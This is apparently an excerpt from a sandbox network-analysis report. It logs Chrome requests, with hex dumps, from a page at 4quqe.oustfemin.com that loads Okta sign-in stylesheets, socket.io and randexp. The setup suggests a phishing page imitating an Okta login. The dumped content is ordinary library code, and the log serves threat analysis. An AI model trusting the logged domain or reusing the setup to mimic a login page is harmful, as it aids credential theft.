2024-08-23 14:21:54 UTC	995	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Fri, 23 Aug 2024 14:21:54 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20240823%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240823T142154Z&X-Amz-Expires=300&X-Amz-Signature=addaa2fb7613bd2240d82063b941692dc1cffc01a094b5cf196222983477917b&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=2925284&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-08-23 14:21:54 UTC	3260	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.16	49786	13.227.219.11	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:53 UTC	626	OUT	GET /4.6.0/socket.io.min.js HTTP/1.1 Host: cdn.socket.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://4quqe.oustfemin.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:54 UTC	702	IN	HTTP/1.1 200 OK Content-Type: application/javascript; charset=utf-8 Content-Length: 45806 Connection: close Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000, immutable Content-Disposition: inline; filename="socket.io.min.js" Date: Wed, 17 Jul 2024 06:16:01 GMT ETag: "80f5b8c6a9eeac15de93e5a112036a06" Server: Vercel Strict-Transport-Security: max-age=63072000 X-Vercel-Cache: HIT X-Vercel-Id: fra1::4g65j-1721196961133-d1eda31600a5 X-Cache: Hit from cloudfront Via: 1.1 38f6d324a75dff585b0ce25920fd4bda.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS54-C1 X-Amz-Cf-Id: NccbxdwPXSxHKQG5kU4sRn8ZJ245okJ5IV21poW5o5EdbnEoQBP1Qg== Age: 3290442
2024-08-23 14:21:54 UTC	15682	IN	Data Raw: 2f 2a 21 0a 20 2a 20 53 6f 63 6b 65 74 2e 49 4f 20 76 34 2e 36 2e 30 0a 20 2a 20 28 63 29 20 32 30 31 34 2d 32 30 32 33 20 47 75 69 6c 6c 65 72 6d 6f 20 52 61 75 63 68 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 2e 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 65 29 3a 28 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 Data Ascii: /! Socket.IO v4.6.0 * (c) 2014-2023 Guillermo Rauch * Released under the MIT License. */!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof g
2024-08-23 14:21:54 UTC	16384	IN	Data Raw: 72 69 67 69 6e 22 2c 22 6d 61 78 50 61 79 6c 6f 61 64 22 2c 22 66 61 6d 69 6c 79 22 2c 22 63 68 65 63 6b 53 65 72 76 65 72 49 64 65 6e 74 69 74 79 22 29 3b 74 68 69 73 2e 6f 70 74 73 2e 65 78 74 72 61 48 65 61 64 65 72 73 26 26 28 6e 2e 68 65 61 64 65 72 73 3d 74 68 69 73 2e 6f 70 74 73 2e 65 78 74 72 61 48 65 61 64 65 72 73 29 3b 74 72 79 7b 74 68 69 73 2e 77 73 3d 73 74 3f 6e 65 77 20 6f 74 28 74 2c 65 2c 6e 29 3a 65 3f 6e 65 77 20 6f 74 28 74 2c 65 29 3a 6e 65 77 20 6f 74 28 74 29 7d 63 61 74 63 68 28 74 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 6d 69 74 52 65 73 65 72 76 65 64 28 22 65 72 72 6f 72 22 2c 74 29 7d 74 68 69 73 2e 77 73 2e 62 69 6e 61 72 79 54 79 70 65 3d 74 68 69 73 2e 73 6f 63 6b 65 74 2e 62 69 6e 61 72 79 54 79 70 65 7c 7c 22 61 72 Data Ascii: rigin","maxPayload","family","checkServerIdentity");this.opts.extraHeaders&&(n.headers=this.opts.extraHeaders);try{this.ws=st?new ot(t,e,n):e?new ot(t,e):new ot(t)}catch(t){return this.emitReserved("error",t)}this.ws.binaryType=this.socket.binaryType\|\|"ar
2024-08-23 14:21:54 UTC	13740	IN	Data Raw: 6f 72 22 2c 74 68 69 73 2e 6f 6e 65 72 72 6f 72 2e 62 69 6e 64 28 74 68 69 73 29 29 2c 43 74 28 74 2c 22 63 6c 6f 73 65 22 2c 74 68 69 73 2e 6f 6e 63 6c 6f 73 65 2e 62 69 6e 64 28 74 68 69 73 29 29 5d 7d 7d 7d 2c 7b 6b 65 79 3a 22 61 63 74 69 76 65 22 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 21 21 74 68 69 73 2e 73 75 62 73 7d 7d 2c 7b 6b 65 79 3a 22 63 6f 6e 6e 65 63 74 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 63 6f 6e 6e 65 63 74 65 64 7c 7c 28 74 68 69 73 2e 73 75 62 45 76 65 6e 74 73 28 29 2c 74 68 69 73 2e 69 6f 2e 5f 72 65 63 6f 6e 6e 65 63 74 69 6e 67 7c 7c 74 68 69 73 2e 69 6f 2e 6f 70 65 6e 28 29 2c 22 6f 70 65 6e 22 3d 3d 3d 74 68 69 73 2e 69 6f 2e 5f 72 65 61 64 79 53 Data Ascii: or",this.onerror.bind(this)),Ct(t,"close",this.onclose.bind(this))]}}},{key:"active",get:function(){return!!this.subs}},{key:"connect",value:function(){return this.connected\|\|(this.subEvents(),this.io._reconnecting\|\|this.io.open(),"open"===this.io._readyS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.16	49788	65.9.86.83	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:53 UTC	602	OUT	GET /assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css HTTP/1.1 Host: ok4static.oktacdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://4quqe.oustfemin.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:54 UTC	768	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 222931 Connection: close Date: Mon, 19 Aug 2024 15:41:26 GMT Server: nginx Last-Modified: Tue, 14 May 2024 21:48:24 GMT ETag: "0329c939fca7c78756b94fbcd95e322b" x-amz-meta-sha1sum: 7b5499b46660a0348cc2b22cae927dcc3fda8b20 Expires: Tue, 19 Aug 2025 15:41:26 GMT Cache-Control: max-age=31536000 Cache-Control: public,max-age=31536000,s-maxage=1814400 Strict-Transport-Security: max-age=315360000; includeSubDomains Access-Control-Allow-Origin: * Accept-Ranges: bytes Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 83bc0649a33d85c1cf516bf48779a390.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS1-C1 X-Amz-Cf-Id: WDP6yjy8Tw7LE1QLsgLtwTuHNpE5ehMvKinIvIZj6N_vBZeWD_XggA== Age: 340827
2024-08-23 14:21:54 UTC	16384	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 2e 71 74 69 70 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 64 69 72 65 63 74 69 6f 6e 3a 6c 74 72 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 2e 35 70 78 3b 6c 65 66 74 3a 2d 32 38 30 30 30 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 32 70 78 3b 6d 61 78 2d 77 69 64 74 68 3a 32 38 30 70 78 3b 6d 69 6e 2d 77 69 64 74 68 3a 35 30 70 78 3b 70 61 64 64 69 6e 67 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 2d 32 38 30 30 30 70 78 7d 2e 71 74 69 70 2d 63 6f 6e 74 65 6e 74 7b 77 6f 72 64 2d 77 72 61 70 3a 62 72 65 61 6b 2d 77 6f 72 64 3b 70 61 64 64 69 6e 67 3a 35 70 78 20 39 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 71 Data Ascii: @charset "UTF-8";.qtip{box-shadow:none;direction:ltr;display:none;font-size:10.5px;left:-28000px;line-height:12px;max-width:280px;min-width:50px;padding:0;position:absolute;top:-28000px}.qtip-content{word-wrap:break-word;padding:5px 9px;text-align:left}.q
2024-08-23 14:21:54 UTC	16384	IN	Data Raw: 66 6f 72 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 32 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 64 69 73 6d 69 73 73 2d 69 63 6f 6e 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 2a 3d 22 2d 33 32 22 5d 3a 61 66 74 65 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 2a 3d 22 2d 33 32 22 5d 3a 62 65 66 6f 72 65 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 5e 3d 22 2d 33 32 22 5d 3a 61 66 74 65 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 5e 3d 22 2d 33 32 22 5d 3a 62 65 66 6f 72 65 7b 73 70 65 61 6b 3a 6e 6f 6e 65 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 3b 2d Data Ascii: fore{font-size:32px;position:absolute}#okta-sign-in .dismiss-icon,#okta-sign-in [class="-32"]:after,#okta-sign-in [class="-32"]:before,#okta-sign-in [class^="-32"]:after,#okta-sign-in [class^="-32"]:before{speak:none;-webkit-font-smoothing:antialiased;-
2024-08-23 14:21:54 UTC	16384	IN	Data Raw: 6e 74 3a 22 5c 65 30 31 64 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 6f 75 70 2d 72 65 6d 6f 76 65 2d 31 36 3a 61 66 74 65 72 7b 63 6f 6c 6f 72 3a 23 30 30 37 63 63 30 3b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 30 61 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 6f 75 70 2d 6d 65 6d 62 65 72 2d 61 64 64 2d 31 36 3a 62 65 66 6f 72 65 7b 63 6f 6c 6f 72 3a 23 35 65 35 65 35 65 3b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 30 64 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 6f 75 70 2d 6d 65 6d 62 65 72 2d 61 64 64 2d 31 36 3a 61 66 74 65 72 7b 63 6f 6c 6f 72 3a 23 30 30 37 63 63 30 3b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 30 31 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 6f 75 70 2d 6d 65 6d 62 65 72 2d 72 65 6d 6f 76 65 Data Ascii: nt:"\e01d"}#okta-sign-in .group-remove-16:after{color:#007cc0;content:"\e00a"}#okta-sign-in .group-member-add-16:before{color:#5e5e5e;content:"\e00d"}#okta-sign-in .group-member-add-16:after{color:#007cc0;content:"\e001"}#okta-sign-in .group-member-remove
2024-08-23 14:21:54 UTC	15129	IN	Data Raw: 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 39 66 39 66 39 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 64 72 6f 70 64 6f 77 6e 2e 6d 6f 72 65 2d 61 63 74 69 6f 6e 73 20 2e 6f 70 74 69 6f 6e 2d 73 65 6c 65 63 74 65 64 7b 63 6f 6c 6f 72 3a 23 33 33 33 3b 66 6c 6f 61 74 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 70 61 64 64 69 6e 67 3a 30 20 32 32 70 78 20 30 20 38 70 78 21 69 6d 70 6f 72 74 61 6e 74 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 70 61 67 65 2d 6c 69 6e 6b 73 20 2e 64 72 6f 70 64 6f 77 6e 2e 6d 6f 72 65 2d 61 63 74 69 6f 6e 73 20 2e 6f 70 74 69 6f 6e 2d 73 65 6c 65 63 74 65 64 7b Data Ascii: background:#f9f9f9}#okta-sign-in .dropdown.more-actions .option-selected{color:#333;float:none!important;overflow:hidden;padding:0 22px 0 8px!important;position:relative;white-space:nowrap}#okta-sign-in .page-links .dropdown.more-actions .option-selected{
2024-08-23 14:21:54 UTC	16384	IN	Data Raw: 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 68 7a 6e 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 69 6e 67 6c 65 2e 63 68 7a 6e 2d 72 74 6c 20 2e 63 68 7a 6e 2d 73 69 6e 67 6c 65 20 64 69 76 20 62 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 36 70 78 20 32 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 68 7a 6e 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 69 6e 67 6c 65 2e 63 68 7a 6e 2d 72 74 6c 2e 63 68 7a 6e 2d 77 69 74 68 2d 64 72 6f 70 20 2e 63 68 7a 6e 2d 73 69 6e 67 6c 65 20 64 69 76 20 62 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 31 32 70 78 20 32 70 78 7d 40 6d 65 64 69 61 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 2c 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 Data Ascii: ta-sign-in .chzn-container-single.chzn-rtl .chzn-single div b{background-position:6px 2px}#okta-sign-in .chzn-container-single.chzn-rtl.chzn-with-drop .chzn-single div b{background-position:-12px 2px}@media (-webkit-min-device-pixel-ratio:2),(min-resoluti
2024-08-23 14:21:54 UTC	16384	IN	Data Raw: 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 6f 2d 66 6f 72 6d 2d 74 68 65 6d 65 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 73 69 6d 70 6c 65 6d 6f 64 61 6c 2d 77 72 61 70 20 2e 6f 2d 66 6f 72 6d 2d 63 6f 6e 74 65 6e 74 2e 6f 2d 66 6f 72 6d 2d 74 68 65 6d 65 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 64 64 64 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 30 20 31 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 2d 33 2d 34 20 2e 6f 2d 66 6f 72 6d 2d 6c 61 62 65 6c 7b 77 69 64 74 68 3a 32 35 25 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 2d 33 2d 34 20 2e 6f 2d 66 6f 72 6d 2d 69 6e 70 75 74 7b 77 69 64 74 68 3a 37 35 25 7d 23 6f 6b Data Ascii: -container .o-form-theme,#okta-sign-in .simplemodal-wrap .o-form-content.o-form-theme{border-color:#ddd;border-radius:0;border-width:0 1px;padding:30px}#okta-sign-in .o-form-3-4 .o-form-label{width:25%}#okta-sign-in .o-form-3-4 .o-form-input{width:75%}#ok
2024-08-23 14:21:54 UTC	16384	IN	Data Raw: 69 6e 65 2b 2e 69 6e 70 75 74 2d 66 69 78 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 78 74 5d 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 37 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 20 2e 69 6e 70 75 74 2d 66 69 78 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 20 2e 74 65 78 74 61 72 65 61 2d 66 69 78 7b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 38 63 38 63 39 36 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 66 6c 6f 61 74 3a 6c 65 66 74 3b 68 65 69 67 68 74 3a 34 30 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 20 2e 69 6e 70 75 74 2d 66 69 78 20 69 6e 70 75 74 5b 64 69 73 61 62 6c 65 64 5d 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f Data Ascii: ine+.input-fix input[type=text]{line-height:27px}#okta-sign-in .o-form .input-fix,#okta-sign-in .o-form .textarea-fix{border:1px solid #8c8c96;display:inline-block;float:left;height:40px}#okta-sign-in .o-form .input-fix input[disabled],#okta-sign-in .o-fo
2024-08-23 14:21:54 UTC	14808	IN	Data Raw: 69 6e 2d 62 6f 74 74 6f 6d 3a 32 35 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 62 75 74 74 6f 6e 2d 73 65 63 6f 6e 64 61 72 79 2e 6c 69 6e 6b 2d 62 75 74 74 6f 6e 3a 61 63 74 69 76 65 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 62 75 74 74 6f 6e 2d 73 65 63 6f 6e 64 61 72 79 2e 6c 69 6e 6b 2d 62 75 74 74 6f 6e 3a 66 6f 63 75 73 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 62 75 74 74 6f 6e 2d 73 65 63 6f 6e 64 61 72 79 2e 6c 69 6e 6b 2d 62 75 74 74 6f 6e 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 35 65 64 66 62 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 31 32 34 61 39 34 3b 63 6f 6c 6f 72 3a 23 31 32 34 61 39 34 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 62 75 74 74 6f 6e 2d 73 65 63 6f 6e 64 61 Data Ascii: in-bottom:25px}#okta-sign-in .button-secondary.link-button:active,#okta-sign-in .button-secondary.link-button:focus,#okta-sign-in .button-secondary.link-button:hover{background-color:#e5edfb;border-color:#124a94;color:#124a94}#okta-sign-in .button-seconda
2024-08-23 14:21:54 UTC	1576	IN	Data Raw: 74 2d 72 65 71 75 69 72 65 64 20 2e 74 69 74 6c 65 2d 74 65 78 74 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 61 6e 75 6c 61 72 2d 63 6f 6e 73 65 6e 74 20 2e 73 63 6f 70 65 2d 6c 69 73 74 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 61 6e 75 6c 61 72 2d 63 6f 6e 73 65 6e 74 20 2e 74 69 74 6c 65 2d 74 65 78 74 7b 63 6f 6c 6f 72 3a 23 31 64 31 64 32 31 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 6f 6e 73 65 6e 74 2d 72 65 71 75 69 72 65 64 20 2e 63 75 73 74 6f 6d 2d 6c 6f 67 6f 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 6f 6e 73 65 6e 74 2d 72 65 71 75 69 72 65 64 20 2e 64 65 66 61 75 6c 74 2d 6c 6f 67 6f 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 61 6e 75 6c 61 72 2d 63 6f 6e 73 65 6e 74 20 2e 63 75 73 74 6f 6d Data Ascii: t-required .title-text,#okta-sign-in .granular-consent .scope-list,#okta-sign-in .granular-consent .title-text{color:#1d1d21}#okta-sign-in .consent-required .custom-logo,#okta-sign-in .consent-required .default-logo,#okta-sign-in .granular-consent .custom
2024-08-23 14:21:54 UTC	16384	IN	Data Raw: 20 2e 63 6f 6e 73 65 6e 74 2d 64 65 73 63 72 69 70 74 69 6f 6e 20 70 7b 63 6f 6c 6f 72 3a 23 36 65 36 65 37 38 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 6f 6e 73 65 6e 74 2d 72 65 71 75 69 72 65 64 20 2e 63 6f 6e 73 65 6e 74 2d 66 6f 6f 74 65 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 61 6e 75 6c 61 72 2d 63 6f 6e 73 65 6e 74 20 2e 63 6f 6e 73 65 6e 74 2d 66 6f 6f 74 65 72 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 6f 6e 73 65 6e 74 2d 72 65 71 75 69 72 65 64 20 2e 63 6f 6e 73 65 6e 74 2d 66 6f 6f 74 65 72 20 61 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 61 6e 75 6c 61 72 2d 63 6f 6e 73 65 6e 74 20 2e 63 6f 6e 73 65 6e 74 2d 66 6f 6f 74 65 72 20 61 7b 63 6f 6c Data Ascii: .consent-description p{color:#6e6e78}#okta-sign-in .consent-required .consent-footer,#okta-sign-in .granular-consent .consent-footer{text-align:center}#okta-sign-in .consent-required .consent-footer a,#okta-sign-in .granular-consent .consent-footer a{col

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.16	49787	65.9.86.83	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:53 UTC	611	OUT	GET /assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css HTTP/1.1 Host: ok4static.oktacdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://4quqe.oustfemin.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:54 UTC	767	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 10498 Connection: close Date: Mon, 19 Aug 2024 10:08:25 GMT Server: nginx Last-Modified: Thu, 14 Mar 2024 00:03:58 GMT ETag: "e0d37a504604ef874bad26435d62011f" x-amz-meta-sha1sum: 4301f0d2b729ae22adece657d79eccaa25f429b1 Expires: Tue, 19 Aug 2025 10:08:25 GMT Cache-Control: max-age=31536000 Cache-Control: public,max-age=31536000,s-maxage=1814400 Strict-Transport-Security: max-age=315360000; includeSubDomains Access-Control-Allow-Origin: * Accept-Ranges: bytes Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 05ec74146f636de45e985d09f62976dc.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS1-C1 X-Amz-Cf-Id: jwt3sjHj9G0XN11yj9_GqXelE5HW2DxfFWBWHJAIVjsSQqVW-Qxqzg== Age: 360808
2024-08-23 14:21:54 UTC	10498	IN	Data Raw: 61 2c 61 62 62 72 2c 61 63 72 6f 6e 79 6d 2c 61 64 64 72 65 73 73 2c 61 70 70 6c 65 74 2c 62 2c 62 69 67 2c 62 6c 6f 63 6b 71 75 6f 74 65 2c 62 6f 64 79 2c 63 61 70 74 69 6f 6e 2c 63 65 6e 74 65 72 2c 63 69 74 65 2c 63 6f 64 65 2c 64 64 2c 64 65 6c 2c 64 66 6e 2c 64 69 76 2c 64 6c 2c 64 74 2c 65 6d 2c 66 69 65 6c 64 73 65 74 2c 66 6f 72 6d 2c 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 74 6d 6c 2c 69 2c 69 66 72 61 6d 65 2c 69 6d 67 2c 69 6e 73 2c 6b 62 64 2c 6c 61 62 65 6c 2c 6c 65 67 65 6e 64 2c 6c 69 2c 6f 62 6a 65 63 74 2c 6f 6c 2c 70 2c 70 72 65 2c 71 2c 73 2c 73 61 6d 70 2c 73 6d 61 6c 6c 2c 73 70 61 6e 2c 73 74 72 69 6b 65 2c 73 74 72 6f 6e 67 2c 73 75 62 2c 73 75 70 2c 74 61 62 6c 65 2c 74 62 6f 64 79 2c 74 64 2c 74 66 6f 6f 74 2c 74 Data Ascii: a,abbr,acronym,address,applet,b,big,blockquote,body,caption,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,table,tbody,td,tfoot,t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.16	49789	142.250.185.132	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
